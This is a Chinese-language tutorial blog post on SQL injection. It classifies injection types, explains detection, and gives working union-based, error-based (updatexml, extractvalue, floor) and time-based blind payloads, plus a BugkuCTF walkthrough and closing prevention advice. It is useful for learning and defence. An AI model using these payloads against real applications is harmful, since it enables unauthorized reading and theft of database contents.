• SQL注入漏洞


    漏洞简介

    SQL注入漏洞是一种将SQL代码插入或添加到应用输入的参数中的攻击,之后再将这些参数传递给后台的SQL服务器加以解析并执行。

    漏洞危害

    1.数据库内的信息被窃取,篡改

    2.服务器上的文件被读取或修改

    3.命令执行

    ......

    漏洞分类

    1.根据参数类型

    ①数字型

    网页链接类似于http://xxx.com/index.php?id=1,注入点id类型为数字型。SQL语句一般为:

    select * from flag where id=1
    

    ②字符型

    网页链接类似于http://xxx.com/index.php?name=admin,注入点name类型为字符型。SQL语句一般为:

    select * from flag where name = 'admin'
    

    ③搜索型

    网页链接类似于http://xxx.com/index.php?keyword=关键字, 主要是搜索框搜索。SQL语句一般为:

    select * from flag where age like '%关键字%'
    

    2.根据数据提交的方式

    ①GET型注入

    使用GET方式提交数据,注入点在url中参数部分。

    ②POST型注入

    使用POST方式提交数据,注入点在POST数据部分,常发生在表单中。

    ③Cookie型注入

    注入点发生在Cookie中的某个字段中。

    ④HTTP头部型注入

    注入点在HTTP请求头部的某个字段,比如User-Agent字段,X-Forward-For字段,Rerferer字段等。

    3.根据执行效果

    ①布尔盲注

    根据返回页面判断条件真假

    ②时间盲注

    通过判断时间是否延迟来判断SQL语句是否执行

    ③报错注入

    页面返回包含查询结果的错误信息

    ④堆查询注入

    可以同时执行多条语句的注入

    ⑤宽字节注入

    基本判断(以数字型为例)

    1.寻找注入点

    SQL注入可能出现在任何从系统或用户接收数据输入的前端应用中,注入点可能出现在GET请求、POST请求以及HTTP请求的Cookie、Hosts字段、Referer字段、User-Agent字段等数据中。

    2.注入点判断

    ①在参数后面加单引号或双引号,如果显示异常信息,说明可能存在注入漏洞。

    ②如果传入的参数(id)为数字,测试id=3-1与id=2的结果是否相同,如果相同则可能存在注入漏洞。

    ③利用and 1 = 1和and 1 = 2永假的原理。当使用and 1 = 1返回正常页面,而and 1 = 2返回异常页面则可能存在SQL漏洞。

    ④如果Web应用程序未显示任何错误信息,要考虑时间延迟注入。

    3.如果存在注入,根据注入类型,选择合适的payload来获取信息

    此处使用union联合查询进行注入示例:

    ①判断字段个数:

    order by 3--
    

    ②判断字段精确位置:

    ?id=1 and 1=2 union select 1, 2, 3-- 
    //强制报错显示第二个SELECT语句的执行结果
    

    ③获取数据库名和用户名:

    ?id=1 and 1=2 union select 1,database(), user()-- 
    

    ④获取表名:

    ?id=1 and 1=2 union select 1,2,group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 1,1-- 
    

    ⑤获取字段名:

    ?id=1 and 1=2 union select 1,2,group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME=flag limit 1,1-- 
    

    ⑥获取字段内容

    ?id=1 and 1=2 union select 1,id,flag from flag#
    

    报错注入

    1.floor()报错注入

    floor()函数的作用是向下取整,如:

    select floor(6.6); //返回6
    

    floor()报错注入是floor,count,group by在特定情况下一起使用产生主键冗余,造成报错。

    payload:

    and (select 1 from (select count(*), concat(database(), floor(rand(0)*2))x from information_schema.tables group by x)a)
    

    2.updatexml()报错注入

    UPDATEXML (XML_document, XPath_string, new_value);
    第一个参数:XML_document是String格式,为XML文档对象的名称。
    第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
    第三个参数:new_value,String格式,替换查找到的符合条件的数据。
    作用:改变文档中符合条件的节点的值。

    payload:

    and updatexml(1, concat(0x7e, (select user()), 0x7e), 1)
    

    concat()函数将0x7e(~)与查询结果连接成字符串,不符合XPath_string的格式,从而出现格式错误。

    其它拼接函数:

    mysql> select updatexml(1, make_set(3, 0x7e, (select user())), 1);
    ERROR 1105 (HY000): XPATH syntax error: '~,root@localhost'
    mysql> select updatexml(1, lpad('@', 30, (select user())), 1);
    ERROR 1105 (HY000): XPATH syntax error: '@localhostroot@localhostr@'
    mysql> select updatexml(1, repeat((select user()), 2), 1);
    ERROR 1105 (HY000): XPATH syntax error: '@localhostroot@localhost'
    mysql> select updatexml(1, (select user()), 1);
    ERROR 1105 (HY000): XPATH syntax error: '@localhost'
    mysql> select updatexml(1, reverse((select user())), 1);
    ERROR 1105 (HY000): XPATH syntax error: '@toor'
    mysql> select updatexml(1, export_set(1|2, '::', (select user())), 1);
    ERROR 1105 (HY000): XPATH syntax error: '::,::,root@localhost,root@localh'
    

    3.extractvalue()报错注入

    EXTRACTVALUE (XML_document, XPath_string);
    第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
    第二个参数:XPath_string (Xpath格式的字符串)

    作用:从目标XML中返回包含所查询值的字符串。

    payload:

    and select extractvalue(1, concat(0x7e, (select user()), 0x7e));
    

    报错原理与updatexml()相同,XPath_string不符合要求。

    时间盲注

    根据页面回显的时间判断是否存在时间注入

    payload:

    and if(length(database())=12,sleep(5),1)# 如果数据库长度为12,页面延迟
    and if(ascii(substr(database(),1,1))=112, sleep(5), 1)#  如果数据库名的第一位ASCII码为112,页面延迟
    

    实例分析

    1.BugkuCTF中的成绩单

    判断字段个数:

    只有在测试4时,才有回显,所以可以判断有四列。

    查看字段位置:

    接下来可以在相应位置构造合适的SQL语句来查询想要的信息:

    获取数据库名,用户名,数据库版本:

    0' union select 1,database(),user(),version()#
    

    根据数据库查询表:

    0' union select 1, database(), (select group_concat(table_name) from information_schema.tables where table_schema='skctf_flag'), version()#
    

    根据表去查询相应的字段:

    0' union select 1, database(), (select group_concat(column_name) from information_schema.columns where table_schema='skctf_flag' and table_name = 'fl4g'), version()#
    

    根据字段去查询字段的内容:

    0' union select 1, database(), (select fl4g from skctf_flag), version()#
    

    2.cve-2018-8045 Joomla SQL注入

    常见数据库类型

    1.MYSQL数据库

    ①端口号:3306

    ②注释:--空格,/* */,#

    ③默认数据库information_schema以及其中的SCHEMATA、TABLES和COLUMNS

    select schema_name from information_schema.schemata; #查询全部数据库
    select table_schema,table_name from information_schema.tables; #查询全部数据库和表的对应
    select column_name from information_schema.columns; 查询全部列
    

    ④字符串拼接

    ‘a' 'b' = 'ab'

    select 'a' 'b';
    select concat('a', 'b');
    

    2.Oracle数据库

    ①端口号:1521

    ②注释:--, /**/

    ③字符串拼接

    'a' || 'b' = 'ab'

    3.SQL Server数据库

    ①端口号:1433

    ②注释:--, /**/

    ③字符串拼接

    'a'+'b' = 'ab'

    ④Access

    ⑤PostgreSQL

    ⑥DB2

    ⑦MongoDB

    漏洞防范

    1.使用预处理语句而非动态SQL来组装SQL查询。

    2.使用白名单对输入内容进行验证。

    3.编码输出。

    4.合理设计数据库用户权限

    参考链接

    https://www.cnblogs.com/Eleven-Liu/p/9712576.html

    https://www.cnblogs.com/xuthus/p/9450805.html

    https://xz.aliyun.com/t/5878

    https://www.freebuf.com/column/174974.html

  • 相关阅读:
    git 使用
    使用Xcode 7 beta免费真机调试iOS应用程序
    Java类更改常量后编译不生效
    Spring AOP中pointcut expression表达式解析
    awk
    sed
    Servlet 单例多线程
    iOS 运行时添加属性和方法
    Lucene5学习之使用MMSeg4j分词器
    redis
  • 原文地址:https://www.cnblogs.com/Son01/p/12912010.html
Copyright © 2020-2023  润新知